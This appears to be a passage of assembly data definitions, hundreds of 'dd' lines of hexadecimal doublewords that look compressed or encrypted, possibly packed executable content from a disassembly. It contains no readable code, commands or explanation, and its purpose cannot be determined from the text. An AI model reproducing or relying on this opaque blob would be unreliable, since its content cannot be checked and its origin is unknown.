dd 50031481h, 0E52C623h, 8944C35Ah, 211D6254h, 0C8C35242h
dd 33FC2F4h, 4E67022Dh, 0E13134B1h, 58872C56h, 86C28166h
dd 2D60D8AAh, 85EC8AA5h, 69CC8C0h, 0FD952983h, 80200318h
dd 0E50738BDh, 2D260CB7h, 20958B88h, 0E91B0B65h, 1161583h
dd 5F28D966h, 800DE860h, 2489AF2Dh, 1DE0443h, 838B1488h
dd 0D4FCE1F5h, 8DF058DFh, 4C014133h, 55BDF061h, 3A42EF26h
dd 9D312134h, 0E92616EDh, 844D82DAh, 11A0285Eh, 0C35F8757h
dd 477C8922h, 57470103h, 0F88656C3h, 7B5048F3h, 0F4ABFCCEh
dd 0F2D2D203h, 14E980h, 0AAAD4F33h, 0ACAECF6Ch, 92FEBA00h
dd 51CD8048h, 0C06015Ch, 0E9C127CCh, 313582F7h, 0A51C1DBDh
dd 0A2361597h, 0BBD08BC0h, 0E77A22C8h, 1B791EC4h, 5E85005h
dd 8022943Fh, 0D040E686h, 3C2B120Eh, 0B84660ECh, 31AA9E1h
dd 89B4DD57h, 4086E58Dh, 80475A49h, 2E16BF50h, 0C9017A5Dh
dd 505420Eh, 84BE2859h, 0BA6610FFh, 48886EA0h, 0E90CFD28h
dd 0BD1F08h, 7B61FCDCh, 53F4D604h, 2890F11h, 0E95FDA61h
dd 0C8D14F51h, 982C017h, 35CB427h, 6B3024EDh, 0F2CFD141h
dd 646E9891h, 5B615360h, 5C89C8C3h, 4316448Ch, 0BB205362h
dd 0D0C482CFh, 0D9BF8250h, 69E5441Ch, 2035DBDh, 183D29A9h
dd 446DC801h, 0BF240FD1h, 0A03FAFFBh, 48F8D82Ch, 83803125h
dd 0C01065C4h, 0E9EC4659h, 90008509h, 0A4A2CDFh, 678EAA0h
dd 0E9C08B5Ah, 0C3782107h, 737A6000h, 8A528490h, 0A9D8A8D1h
dd 975881Eh, 189112DDh, 50197406h, 0B8364C53h, 60C44FD3h
dd 9D8D955Dh, 0DCC1B2FAh, 585BD3FFh, 82172258h, 0E923201Eh
dd 46C020AFh, 72C15855h, 0C06C892Bh, 45001511h, 1BF4C355h
dd 0ACC4D68Bh, 8488BD81h, 6572126Fh, 7E470861h, 0EB167ABh
dd 0BD0CFD9Ch, 80C88C84h, 10C60CC0h, 10A4985h, 184F6844h
dd 256096A3h, 0F926522Dh, 4239ED16h, 0D88BD004h, 26D32CB1h
dd 4AA679D7h, 7424A5AEh, 0EBC29D08h, 15594A06h, 310965Bh
dd 0FE8B7B8Ah, 0C411C13h, 25971B27h, 1EA68CAAh, 1B4674h
dd 9B8ACE71h, 1B696A60h, 5AD78B64h, 61F883D9h, 336BD17Fh
dd 21C1105Ah, 0B585C706h, 6D990C17h, 350A6626h, 1B42A304h
dd 0C4CEC7FCh, 0AE1B601Ch, 0D9330080h, 2612AD67h, 239989E9h
dd 2D1818F9h, 8C1E1700h, 0A06EBF96h, 0F80226A2h, 1749597Ch
dd 0A2068262h, 841FC97Eh, 8941466Eh, 9F2A91BDh, 71490B18h
dd 33EF260Dh, 0D14991ADh, 7E2181Bh, 8DC0B794h, 0C444578h
dd 287ACFCAh, 0E96EC68Bh, 0CC069907h, 59B01B5Bh, 3448F85Ch
dd 0ACCB21ADh, 0A6992922h, 0AF524B64h, 0F244F3D0h, 0D5C60081h
dd 5AA0DA9Ah, 4E005BAFh, 0FA5F8C9Dh, 900EC887h, 595E0453h
dd 8F117AE9h, 0C3168849h, 0DEE62136h, 0CA0CF6E3h, 0E9044071h
dd 0C9A44279h, 23013534h, 58019884h, 28379394h, 0A79AC0h
dd 0AE093BBCh, 5546FE06h, 127AC909h, 91A09FDDh, 85D4FCD4h
dd 8EB589E3h, 56A08121h, 0C3725E18h, 16748925h, 56460007h
dd 6BD0AFC3h, 7F024963h, 3EEB702h, 0AD09E050h, 0BD5F810Fh
dd 5DBD92D4h, 3F683D81h
dd 8001FF47h, 7A8333C6h, 15A19503h, 0B2E78B43h, 6171301Ah
dd 3A4FD602h, 61FC66C1h, 76A62161h, 1A4676D6h, 0A2513B00h
dd 0EC1D594Bh, 3540E94Ah, 76479775h, 10483802h, 0A0068880h
dd 0BD2338D6h, 5D856149h, 10C8D079h, 0C641E55h, 0CEEAD4DFh
dd 0C0198864h, 0EBABA1A5h, 83B9822Eh, 0DFA01F20h, 5D996AFBh
dd 551815D9h, 0DCBACA03h, 432B33D4h, 1CA22648h, 0EF27D30h
dd 48722AE0h, 81DE2084h, 48137905h, 0F9F029CAh, 42FD2456h
dd 301AE286h, 8B75766Eh, 6F28FC17h, 61B5A470h, 99D8817h
dd 60E91D44h, 0D5B3450Bh, 0F11DBC65h, 827B64A3h, 16AED87h
dd 0E1FDE056h, 5A1534A7h, 2D058212h, 3310F0ADh, 3014A238h
dd 9D248973h, 0FF4289F5h, 3CE90701h, 0ED005029h, 6BBB776Dh
dd 2899E6Ch, 0A754EB45h, 24C51B86h, 0FC57D8B8h, 0FF748C1Dh
dd 7EF4AE00h, 5A762F56h, 2CE390A5h, 454329B5h, 3AB1953Ch
dd 1923CEh, 5CFFEC70h, 0E9485574h, 1DE38089h, 1815DD7Eh
dd 1710E835h, 0DEF6AC52h, 0B26E8200h, 0E01D056Bh, 998109AFh
dd 0D282261Ch, 86091A01h, 3391202h, 1610C781h, 0B27C5479h
dd 0E5CA108Bh, 3E503222h, 84FF2E15h, 0E40A75B5h, 6688DFF2h
dd 842426BFh, 15CB1922h, 24A5D92Bh, 699833E0h, 29F426E1h
dd 14F9C232h, 2E90D918h, 301C5920h, 0B1F35E9h, 0D4B8DBDh
dd 61D24442h, 0E32061D7h, 681B816h, 19E1F029h, 2408D1D6h
dd 2CB10A03h, 27081154h, 2B448457h, 10267014h, 3504DE1Ah
dd 10C18031h, 61224D8Bh, 0D3402D96h, 0AE4B8h, 1912FE3Ah
dd 0C51F055Dh, 9F00AAB0h, 1A332BA7h, 0B9860F99h, 5AF509F8h
dd 0BF964314h, 661E02D4h, 91AE9AC1h, 1101B782h, 0FFBF0F01h
dd 0C981AA42h, 40F7E9A8h, 7EEABA3Bh, 9E2A937Eh, 531F51BDh
dd 0C65A0169h, 0F95F61B8h, 0E8182826h, 97D6230Eh, 1584AE1Dh
dd 43875B40h, 0E905139h, 952975F2h, 6D282F29h, 40D71AE0h
dd 1C80E151h, 199EFC43h, 0C991491h, 1288ECC9h, 488B28BBh
dd 0C98D030Bh, 0CA3A2E07h, 2028065Dh, 1BF94099h, 8C00B218h
dd 2EA72CEAh, 280F88E5h, 45F9FFB7h, 288DE50Ch, 5EDC46Ah
dd 2480F4D8h, 0C75FE7EEh, 97998081h, 0CF814535h, 0C43A67F2h
dd 2839601Ch, 0A3C80282h, 0CAB442Dh, 1FD1F740h, 7C9CFB1h
dd 2E329F1Fh, 0B64A9053h, 2CA5930Ch, 2200DE4Eh, 0A4B08EDFh
dd 1433ACABh, 4404118Dh, 90A50C88h, 0B095AC6h, 0D91F29EFh
dd 8A0FC522h, 0D3067779h, 0C0F8068h, 2A899D29h, 0E8B903A3h
dd 19181BD1h, 2C83F407h, 0BC50346Eh, 0FCFAA5B9h, 0BE9EA65h
dd 6A2E1C52h, 45703292h, 59536BDCh, 0C03E92EEh, 1A399040h
dd 2A25AC99h, 95048B18h, 0B7A42B51h, 83314091h, 3A20F848h
dd 23042D85h, 0DFEBED06h, 0E506C9A1h, 10FA3293h, 2240832h
dd 0E9EC3E39h, 7BA4508Ch, 14C35839h, 0E0CE4489h, 0C35040h
dd 73FD89E6h, 0E85ECE1Dh, 0AE00FD91h, 9FFE7193h, 0D0802695h
dd 0FCF11EBDh, 8AC03E80h, 9B531FDh, 594C199Ah, 559F2610h
dd 92892D38h, 0F0ED586Fh, 43589CE9h, 2851EFF2h, 0DA603CD6h
dd 70AF5B2Ch, 9A1DD28Bh, 0AC09BDD1h, 0DF70E0FEh, 88B312EDh
dd 8842CF45h, 0D842FED8h, 69D98BF3h, 58AD2D23h, 8C1AE8A8h
dd 0E8935700h, 7338FA16h, 0DE8A0660h, 7BD9BD29h, 3B25614Bh
dd 5969BD82h, 10E90C7Bh, 4200564Dh, 3E68A4CFh, 2EFD6B8Ah
dd 610876Dh, 2E7EC0B2h, 0AD21B098h, 1421080Ah, 0CD60F024h
dd 37FF140h, 0C50A113Ah, 84F8A1D0h, 0EEC49B9Fh, 5A0904FDh
dd 0C201FD05h, 0A5B1F47h, 0E9043BA6h, 0FA2CF41h, 0F102F83Dh
dd 2F520DD9h, 1C91B5C5h, 33C23C61h, 0D99662Dh, 0BB45B501h
dd 92649A63h, 36F3F179h, 0CEEE5070h, 0CB4BEA98h, 29A1E905h
dd 2F4A93CAh, 1F1723ABh, 239FC198h, 38DD8D31h, 98764D14h
dd 59F1C1C0h, 0FC8753BDh, 0C33176C7h, 2A8651D3h, 882A9C23h
dd 79101CCh, 1CABB400h, 0FC8E73D8h, 0F9CA5EC1h, 0F2845F14h
dd 0E3E4FEC1h, 3015A281h, 6605DB29h, 50768FB9h, 820055E2h
dd 97EF7731h, 0B513D9C1h, 0B29B016Ah, 0BCD2ED80h, 0D8046DB4h
dd 0A34C92BAh, 8D0045E2h, 46032DB0h, 0D700C2C0h, 0DCA9CBE3h
dd 0B3E0B628h, 68601C64h, 52D973E8h, 6114A081h, 0D87A7E9h
dd 3CDDE397h, 0DBC808DDh, 15094CAEh, 0B364CE2h, 0CAD0BF66h
dd 0F498D489h, 44A7DBDh, 34044075h, 78B62AB9h, 12ADF440h
dd 2C35B75Ch, 248B1968h, 0C566C9B6h, 4E48A289h, 0ED02C624h
dd 4CD922C9h, 0B9BEC465h, 0ACB10210h, 71D05350h, 55DA7862h
dd 53E2A80h, 0D4001D23h, 38AEA3B3h, 0F3B10947h, 0FD649767h
dd 9EFD9328h, 0FE51BF00h, 0C0E6E17Fh, 5DA439A2h, 808294C9h
dd 5599ADEh, 551692E8h, 0D3954121h, 880F198Ah, 14CB68D7h
dd 0CEA4ED31h, 0C21888A4h, 91602D47h, 0D20481FAh, 714BEF8Ch
dd 370743B6h, 0BFF65BE9h, 0F46A8892h, 0FB85DC3Eh, 0BF7CB30Ch
dd 2A2C8E34h, 28E1E507h, 26652F9Dh, 89980B15h, 36204DBDh
dd 416CE781h, 8B591F02h, 52B1985h, 0EACC8E9h, 0B7E8BA07h
dd 1E3EB4h, 0E1B352D0h, 57724E9h, 8DFE4134h, 0AA4EFB5h
dd 0EC058F52h, 0EB025F7Bh, 641E4995h, 0ACE63596h, 0E0BBA626h
dd 0E86FDAB3h, 186917D6h, 937705ECh, 3A01C5A1h, 31B2351h
dd 46A186EDh, 6813508Fh, 8D250150h, 5FF90125h, 5AA08EB1h
dd 9604F0A2h, 0F14C074h, 0CD009470h, 7DDA899Dh, 0F03ECB4h
dd 586F69B7h, 82F38B65h, 7F92C90Ch, 33CB8B82h, 78C6EBE2h
dd 0A1BD0B09h, 9994821h, 825349Dh, 81402010h, 0D717E8EAh
dd 14603Dh, 0D8C70DE2h, 0D5F00A3Fh, 0F95DB9BDh, 0D9C81FD9h
dd 24D19A5Eh, 7497B693h, 45001D46h, 0F1D1066Bh, 4C0320BEh
dd 9D01F249h, 0CE956919h, 5406D504h, 95C92EE8h, 9750D142h
dd 8016113Ch, 8B705EDAh, 0FFBF03D8h, 53424965h, 0EFDDE237h
dd 978903E3h, 0FE864345h, 0C520C206h, 5B19E506h, 4139F730h
dd 0C89F400Eh, 361A11B9h, 829E7BC2h, 0E42215DDh, 62218A2Fh
dd 0C4C57AFDh, 168126h, 0D180606Ah, 4930D123h, 49FD9519h
dd 80D12850h, 0D5AAACFEh, 326D0016h, 0BDE184BAh, 0DA0BBFA2h
dd 9833C453h, 1C7AEFh, 5A914859h, 9C1D8946h, 0F7CB53Dh
dd 0D2056CE8h, 0F9B64601h, 0BEA565ADh, 4BC1F04Dh, 0D649FE3h
dd 0BEB4BB5h, 0CE68188Bh, 0E4C753CAh, 8249D2EEh, 0A2962h
dd 7D915BBFh, 0C161782Ch, 1F8E595h, 0BD79E181h, 0BA4214EAh
dd 59242C69h, 0B5893FC2h, 934750E5h, 0D674329Fh, 0B7979C6Ch
dd 40090060h, 71AB77DDh, 564CCEACh, 5E3D388Ch, 1840F844h
dd 0D6C24E9Bh, 0F4E0640Ah, 9C8C1A7Dh, 16465E52h, 0EA6D9E09h
dd 1C000544h, 0FED4B221h, 250BAB04h, 7E043D8Dh, 0B2CFA85Ah
dd 8D292143h, 11CD68D5h, 0F098C3Dh, 37427C83h, 65F10740h
dd 37E9261Ah, 44F8C7B5h, 601B601Ah, 35B80AEAh, 0CAE795Eh
dd 967B16ADh, 93F4286h, 0CCD3D9BFh, 4271EC3Fh, 75FE7819h
dd 1C9A2A42h, 1AC04BEDh, 38EA890Dh, 3F808A07h, 9FB973E4h
dd 1B4CACBAh, 0DCFC265Eh, 0BC6237Eh, 850BC6F0h, 0A53D94CAh
dd 0B1B9A409h, 0C028A3BDh, 221D2794h, 282648B1h, 2FA8944h
dd 3122654Fh, 11517023h, 0A901E980h, 85E989CDh, 89510B42h
dd 5EBC0C23h, 15458101h, 840080B2h, 0EB894CE0h, 87387578h
dd 7A8B814Dh, 350F7F6Ch, 408D8730h, 0E9355A2Fh, 0D2E67017h
dd 59E917F0h, 0F02D33Bh
dd 33D97BBh, 8DFFF18Ah, 779FCCh, 73B01335h, 6B61CC66h
dd 0F2398216h, 0F8B75345h, 4005CA2h, 11236CFh, 391C7D4h
dd 8F07DDF8h, 1D07DDC2h, 0C04D108h, 0BFC9D78Bh, 5024E9EAh
dd 467CE002h, 0E06C1F19h, 0EFC728C4h, 4C9B681h, 0CBF8C430h
dd 8129C194h, 53924C98h, 83085C00h, 24D08260h, 3D37198h
dd 49178EFCh, 284A56E9h, 80DF8B9Bh, 48AF71F2h, 0BA06A097h
dd 14CE0434h, 2D1209Ch, 499D2917h, 6440D749h, 4B650046h
dd 1EB6A26Ah, 1301CB1Dh, 871434CEh, 684852F2h, 95331853h
dd 6A5945F9h, 0B9623465h, 4A31B5F5h, 43D11705h, 0FE692A6Dh
dd 13B90726h, 8C6B2062h, 0C324F6DBh, 0FC119304h, 56ABCC4Bh
dd 0B8526804h, 6A789CA8h, 45C20458h, 0BE64DDB9h, 34C2E281h
dd 402D0807h, 0AC9B6847h, 0CCEC1823h, 0F0528B04h, 684F031Eh
dd 0DC2F2661h, 39118904h, 6304B43h, 286A537Dh, 85141856h
dd 0C07575C0h, 64986841h, 2ADB5687h, 0B4DD099h, 0A4684C07h
dd 688025E7h, 9D228B20h, 4A5BFC34h, 390D0A04h, 1556B854h
dd 0D703C717h, 0C4361D4h, 13074502h, 6E52DC3h, 2E864702h
dd 518BB552h, 1670A11h, 0F7976845h, 0D0192A5h, 67660E15h
dd 28AC0C02h, 60327529h, 8DA1B4B6h, 0CB0C484Eh, 0B653C912h
dd 4674D0A4h, 2EE3001Ah, 2B1E5C49h, 0CF810398h, 32D89FF6h
dd 3C0CF017h, 0CCFBF322h, 0CC504C0Dh, 0FF64CF05h, 116F1435h
dd 0BAF71141h, 9D0DA125h, 81041071h, 3F1CA1AFh, 1F3AD029h
dd 53B9D7D7h, 416248F8h, 0A2BA6680h, 4EBD806Ch, 85F5884Dh
dd 0C1533044h, 0E95FD096h, 725C6594h, 3118F248h, 0CAAE30FCh
dd 8D271DB0h, 337300ADh, 3B8A50DBh, 0C02D5FEBh, 7C2CCC90h
dd 0CDC76600h, 21D9953Eh, 6BE55CC5h, 0BA44B92Dh, 8F528A3Fh
dd 802ED325h, 27E35307h, 924F003Eh, 6629F4CFh, 5900982Ah
dd 73F0F40h, 0B68F640Bh, 0C1C46449h, 10068E5Ah, 4B79BD89h
dd 0F9654F1Dh, 0FB8312F0h, 841599A0h, 0E935B77Ah, 28A211FDh
dd 0F952E600h, 5E5F9074h, 7B6B637Dh, 0B5B71Bh, 3659468h
dd 0B40A995h, 23C13881h, 8B40C00Ah, 0C70C0FBDh, 0FF39A46Ch
dd 4C8303CFh, 0A00415B8h, 638BC3B2h, 0E855305Ch, 815D4184h
dd 50242EEDh, 1B83518Bh, 25D75C42h, 5D0C4D89h, 1C302A4Fh
dd 4129952Bh, 27372C25h, 24C0A530h, 20B02210h, 0B503F22h
dd 190AFD14h, 570C2510h, 860F1484h, 0D9BF81DAh, 303A1641h
dd 531B710Ah, 0DD39B700h, 1F48A7B6h, 4199912Eh, 119E995h
dd 17810AB9h, 55D704B8h, 81748048h, 65BB0DF7h, 868503D4h
dd 34B640BAh, 5F7DF084h, 0E0ED0CCEh, 4D5868FBh, 0A752656h
dd 13C5099Dh, 34A97AF9h, 610DE2CCh, 0B2D7EF1Ch, 80667074h
dd 0BE54E62Eh, 43D217Eh, 421DD508h, 2117B361h, 0B002C220h
dd 330C632h, 0CC4D7454h, 0F8E0E496h, 604058Ah, 0D98C175Bh
dd 6FE0A0B6h, 0D709FE79h, 8243212Fh, 0C04396Bh, 174FBD0Ch
dd 0AB3AE388h, 0EB970AEh, 35382E31h, 70012B3Ch, 63007845h
dd 69747065h, 73206E6Fh, 14667649h, 0C616D72h, 796CDC50h
dd 37737365h, 0C708202Ch, 68745364h, 6C369CEFh, 6977CCE3h
dd 63FC67FCh, 73FE64F4h, 0FD7C28DFh, 5A4061CBh, 2EFDF163h
dd 66D2A9Dh, 16685420h, 797B6B76h, 0A37757Fh, 1FA040Dh
dd 30702863h, 43627346h, 4C3A5254h, 0D1D9FF2Bh, 1EB3699Eh
dd 0A06C6497h, 5470A18Fh, 796C0879h, 0A627F69h, 29647261h
dd 3E422036h, 73A96556h, 3DBF3F99h, 1EE525BCh, 63870143h
dd 524E496Bh, 4F38640Fh, 0F544755h, 0F46F7250h, 0DA0F421Dh
dd 30F323Bh, 437469E6h, 1E900F3Dh, 1A5095B7h, 1E3A188Eh
dd 85105DF8h, 2D88E206h, 190B6EA4h, 8D959AEh, 6899AD83h
dd 1B6B8025h, 240A27DEh, 19E53D84h, 58078E14h, 97169968h
dd 5A862445h, 485AB265h, 25429269h, 0A9719288h, 719EC81Ah
dd 0A6C81AF6h, 8DAE1470h, 0FD38A244h, 96E44AA7h, 9035FE39h
dd 0BC0CE29Ah, 200C8C25h, 0E9250BFDh, 3D9764A2h, 2AC22D71h
dd 0B9700D95h, 11852284h, 4D2059B0h, 0C2810E23h, 0F3131CF8h
dd 958D1656h, 6052D5C8h, 0C3402834h, 93B03BD4h, 66B42D45h
dd 5540480Ch, 139D8B8Ah, 0C24CC38Bh, 31659A33h, 92085011h
dd 88549087h, 858799Eh, 5C9087A2h, 0DCA99688h, 0AF0DAA4Fh
dd 141468D1h, 0C995ACDh, 86960C9Ah, 9E21A243h, 8EC89290h
dd 88490AA8h, 7C08A1Ch, 0DC8A3A4Fh, 6A2458F3h, 0AA244065h
dd 0D02D192Dh, 0CC0112DEh, 0C1168B65h, 8E6A18EBh, 220B058h
dd 1A1C604Ah, 47193865h, 0C2618041h, 0E6340464h, 0C8603DA0h
dd 0F6100814h, 614F46ABh, 0F8E9C324h, 0B58B2186h, 81388F7Fh
dd 18F035E6h, 9EE813C8h, 0C68189FEh, 0B53B31E8h, 0F398361h
dd 51BBE986h, 5CD8201Eh, 6FCFD822h, 8C026650h, 0A0324C8h
dd 6B7C5CC0h, 0ECBBAB04h, 1085890Fh, 2418864Dh, 203FDB0Ah
dd 0E3ADB067h, 0C82404D8h, 509FCFC6h, 81498EEh, 146113E1h
dd 4C010F91h, 0E970FEF1h, 531C25C0h, 8966E423h, 915FCDBh
dd 0CA535B02h, 82E84C09h, 8435138h, 5389BBE0h, 80CBEF83h
dd 0C31A03E3h, 174B3884h, 89C79D76h, 2CE615C9h, 0E6448B37h
dd 0C5229845h, 8F06AF89h, 57A71C18h, 6623A228h, 5B53BD01h
dd 12A322A2h, 483E8060h, 0BB8031EAh, 763AB7A1h, 0B10139B0h
dd 0AC45C84Bh, 2C88A07h, 0D12032C3h, 640BAACBh, 430140D2h
dd 22C90A4Ah, 23DEE5D6h, 8011DD1Ah, 0D48B5210h, 0A7AE657h
dd 0E9C03308h, 80AA0721h, 0C28D0A3Fh, 0BCA15A5Fh, 0B9565153h
dd 91DB2D32h, 0D8E8AC38h, 81D301D1h, 465ABCC3h, 0FAB0BC37h
dd 970B4932h, 0C38B20E8h, 5B74595Eh, 4A7B6053h, 0CAAC1FC8h
dd 0D1772AEAh, 39E702C0h, 0F400DDFh, 0CA04A8D8h, 64D4293Ch
dd 0A2A88424h, 0D605686h, 2128858Fh, 0A1206420h, 20F2BD06h
dd 23E93889h, 2EA63FD2h, 574403Fh, 9B46F317h, 33212489h
dd 59FD3C14h, 473D1E46h, 0AE10C930h, 69D187E9h, 247648DFh
dd 7A004D72h, 0CAB2B80Ch, 27A95E45h, 30060399h, 46C8D190h
dd 0FF73B05h, 8D24F182h, 2808EA0Ah, 284CCA5Eh, 56125C28h
dd 13105351h, 0C4A122Ch, 2D3C6761h, 200AC942h, 13349804h
dd 0C1D83204h, 1C8508C3h, 1C026775h, 885E595Bh, 0B0089837h
dd 1A4B4E43h, 51D88191h, 91DB50Ch, 0E90844C1h, 0C7430C41h
dd 0C08BF1DEh, 9346D4DAh, 0B8062087h, 96138F5Ch, 818F6132h
dd 0CD6B0E88h, 40E623Fh, 6D972517h, 14801891h, 0F82E50D5h
dd 16DC05BEh, 6E15118h, 0F20666B4h, 91719795h, 62FA801Ch
dd 27313BEh, 0D74A33DBh, 0C97C880Fh, 451E4C6Bh, 0B8F43D45h
dd 323D00FBh, 63B2036Ah, 24A30E9h, 93C34060h, 8E9B4B34h
dd 0F6000F1h, 87B8F9BFh, 7ED201DEh, 0FCDF8C61h, 835E3FE8h
dd 52D4A40h, 387C1CAFh, 4E806FF6h, 64C14829h, 475BB113h
dd 665AA700h, 9A04C7F7h, 0B5C790BCh, 6C076BAh, 0BB145B7Eh
dd 828CBF56h, 40A5F280h, 4E471E07h, 881CCEE5h, 0B8A7C018h
dd 84970648h, 0C2CC7522h, 39E7078Eh, 307A322Dh, 0AC71B135h
dd 92E12726h, 9356EB01h, 0C361D68Bh, 8ADCD7D1h, 0E28CB4D0h
dd 0D6280D8Dh, 5F020511h, 27A594Eh, 847B06C2h, 235CBE00h
dd 4F8B1278h, 871E9BC4h, 0E7E06A9Dh, 4801CD9Fh, 15EC17EBh
dd 0D739028Ch, 0F7AEBE66h, 0DC745Eh, 0FF30B172h, 8F0F56F0h
dd 66870EB4h, 0BEF0C9B9h
dd 115D0B10h, 13E94Bh, 5558F73Dh, 0C604EBh, 0C9864532h
dd 859BB535h, 0AB1D3E0Bh, 9FE04C67h, 0E3E0AE89h, 0A10B87BAh
dd 0A40B679Ch, 965DBDAFh, 0F87A208Eh, 0D6058161h, 35204B56h
dd 72197081h, 6E7AB521h, 156E00FCh, 0E4B59438h, 11690A71h
dd 0B38B85Fh, 41C4E7FFh, 87CEB0B7h, 16179457h, 0FEECC10h
dd 140B604h, 0B008C8FEh, 212D4BAh, 0C312CEBCh, 79B8AEADh
dd 0CC7BE901h, 0E0D980E4h, 0B0F1F020h, 0C7FE888Bh, 0DE615094h
dd 89B18B1Ah, 1C6EC214h, 1188B103h, 0A0BC0568h, 0E12214h
dd 8BA33EB3h, 0BA666180h, 95D1A726h, 26CAAC3Ch, 0D6A7B4F6h
dd 0FCF40E42h, 0D4438Fh, 4171ACFBh, 4A20DBA2h, 0E193F683h
dd 64308037h, 0E65F0B77h, 97D38B75h, 5928EE81h, 0C2F91130h
dd 65F202Fh, 38003331h, 3F8FF292h, 0C13093h, 0BA8B0DBCh
dd 5B1DB6C3h, 0B990E84Ah, 3A30D0CEh, 0F9813EC4h, 109E35F8h
dd 80CA7C96h, 3AB6E6AFh, 0EDCC0392h, 0A3F3071h, 0C000DA73h
dd 0F5BFC366h, 0EC815E05h, 975B4ED2h, 0F7A467C9h, 59830868h
dd 0F70B048Bh, 0F081D140h, 0A6881EBDh, 0C7BF4719h, 0F7C0A015h
dd 68483EA7h, 300222BEh, 0D83017B2h, 7487266h, 0EAA40D0Eh
dd 0E7F85189h, 6C4A5408h, 0FF571E9Ch, 0E59447D1h, 99C3D136h
dd 0DF2C80BEh, 835F969Bh, 0E10450E9h, 27F9F6F1h, 1502A4D4h
dd 0A4E8A785h, 4EFCF08Ah, 5C86950Ah, 0FA0C0436h, 1EE6110Dh
dd 4092492Eh, 24F79B8h, 1C00129Eh, 0F736D703h, 0FB3E383h
dd 33FB35A4h, 0CEE1BE80h, 40DEB692h, 0CD7ABC07h, 0CBE78B60h
dd 28FE60CCh, 102B4B14h, 498540DFh, 380CB911h, 3033D006h
dd 7F204CD7h, 8900D16Fh, 3C73798Dh, 0D27A0Eh, 1AD06C78h
dd 26045E14h, 0CF368200h, 5324701Fh, 0CB3D009Eh, 5B605A9Ch
dd 0B601DB77h, 8564CF7Ah, 4444A3E1h, 3A722801h, 318F80DBh
dd 9BC66675h, 0E7048047h, 0FEAF87C3h, 4BC34FC7h, 8D181E59h
dd 0CA9D0B3h, 0B12703D3h, 0CDEE3D29h, 0E87ACF83h, 0E9404353h
dd 0BEF7C794h, 0E7761E30h, 10BC2B0Ch, 25031F66h, 0C270B7F7h
dd 0FC00BA53h, 50728786h, 206FCC9Eh, 7D18832Dh, 9FE82606h
dd 0F6202430h, 5DA10C16h, 47036FC0h, 7D7993D1h, 4229FEC3h
dd 0A64F0824h, 0D0AB0863h, 91228688h, 0EE20148h, 65F9C159h
dd 2ADDE4h, 0CF968894h, 0F5ED55F0h, 0A43D6000h, 0DAC268EBh
dd 9AFE077Ah, 3070A074h, 0CAAF4B0Ch, 0FBF7A900h, 90E5D762h
dd 978B00E2h, 0E492A3F9h, 0AE7B2A7Dh, 4FBB290Ah, 2000D174h
dd 12E95ED7h, 8ABF388Dh, 29E241B8h, 0FA003B75h, 1B6A849h
dd 0AF815B9Ah, 0C8FB088Dh, 5E30A269h, 120A3835h, 0F3C11C37h
dd 0C731406Eh, 5214368h, 0F56960C0h, 5672FBh, 0EC9F1E8Bh
dd 5917CA07h, 3BD8100h, 0BE829661h, 73EA1CD5h, 71CE4099h
dd 0F315F731h, 412F1600h, 0F04BB56Bh, 5AB3004Ah, 7C1998C8h
dd 1CE22993h, 0D0D8AE0Eh, 22BD209Ah, 9560976h, 58D491E9h
dd 85677400h, 0F40081A5h, 3FED503Eh, 0F8520B2Fh, 0BDA1008Bh
dd 0E4593BF0h, 3600F3C2h, 0FEA773CCh, 1DE5D512h, 80E2BA84h
dd 9E7EDB4Dh, 0C000F434h, 8FF6656Bh, 0C1EF7A0h, 242F0718h
dd 9B2AEDBAh, 0D903AC16h, 82EEF74Bh, 56BAC0DAh, 0A1D31D4Ah
dd 0FD8340A4h, 93E5C498h, 8010613Bh, 0CD21BCB6h, 0F4B899h
dd 0F23A3418h, 30013B39h, 3D84D800h, 8A99CB24h, 0C74E000Dh
dd 3E31CD78h, 4D007D77h, 0E6077332h, 79FA5ABFh, 56831F2Dh
dd 0C82D2B6h, 15A82F64h, 9909CD15h, 0D88400F8h, 5FEDEE30h
dd 0CC9709F6h, 1020B341h, 995715F1h, 0A4079A76h, 71CD6D09h
dd 0F06651D0h, 0B7300003h, 0B3539286h, 1B1E25ADh, 0AA806379h
dd 347C9CCFh, 0B8A250F0h, 4A9A48FFh, 0B258E830h, 990365FCh
dd 0A461C6CDh, 3F20C019h, 9ADE0063h, 17E6F87Eh, 0CA00382Dh
dd 8A8D1855h, 28CEE48Bh, 0AC32E2h, 6F539A4Bh, 966C4F16h
dd 2B0C30E8h, 3120BB3Fh, 0C0ADEEF2h, 8834FA71h, 6500B8B9h
dd 8D4B7E1Ah, 0FB455Fh, 0EF1864FFh, 0E1D39E8Fh, 7F96E802h
dd 8FA4F086h, 6C0880CCh, 945834Bh, 59BCE404h, 6D6F2800h
dd 0BD0069DDh, 0E7D288A6h, 3A2317h, 65D9736Eh, 0CC71A3B9h
dd 7E9B5A00h, 66F4B94h, 8DAD3D3Ah, 1AFB4280h, 4656E355h
dd 8102C79h, 680A6493h, 40D406EFh, 0D41C7C2Fh, 0F70E37F2h
dd 81E6B70Eh, 56333881h, 3722D424h, 0E0E87FA8h, 8BF79C78h
dd 0A2A56B00h, 0A4ED2091h, 205F6037h, 670CF2EAh, 0A3865B01h
dd 328D2F77h, 49833ADDh, 6D78568h, 37967990h, 0FBB34E00h
dd 7075A699h, 62A500DCh, 7BAFE1C0h, 1990113Ch, 684C5802h
dd 0C03413B3h, 0AA4668h, 1ED64FAh, 308E5E44h, 43002F7Ah
dd 0D960C6ACh, 0F9411Ch, 36A6044Fh, 0D03FB25Eh, 8800D4EEh
dd 6123AF6Bh, 3BDF5B02h, 0C135ACFh, 0DD640EEEh, 3FC2F6A0h
dd 9100043Dh, 80887BFCh, 1CB61D3h, 6107AD4h, 0E8035A9Fh
dd 0A4009142h, 86A86F12h, 1E9C5BE6h, 0DD442997h, 224A00F8h
dd 26D68F55h, 5F915100h, 0D0B789BDh, 0CC9E05CEh, 80925469h
dd 0D9066A04h, 0C45E7900h, 8D43594Ch, 4B680934h, 0AC987829h
dd 391F858Fh, 96003859h, 797C6CEBh, 691888E3h, 735CB00h
dd 665AD313h, 0B8D9033Ch, 458B32DEh, 1EAF41FFh, 2E0C742Fh
dd 64ABA805h, 4C0F321h, 0D1A667h, 43650AECh, 927CDFB7h
dd 6150BD00h, 322DF877h, 304FF86Eh, 0D1B893BEh, 0C700D062h
dd 0E2E969Eh, 7A41DC49h, 77875B1h, 37899AC3h, 180770Bh
dd 0E454092Bh, 0BB00A391h, 0E5583EEEh, 0F42457h, 76072F51h
dd 7F939218h, 6D005376h, 5DB9B2BEh, 211AF4h, 50ABEEBDh
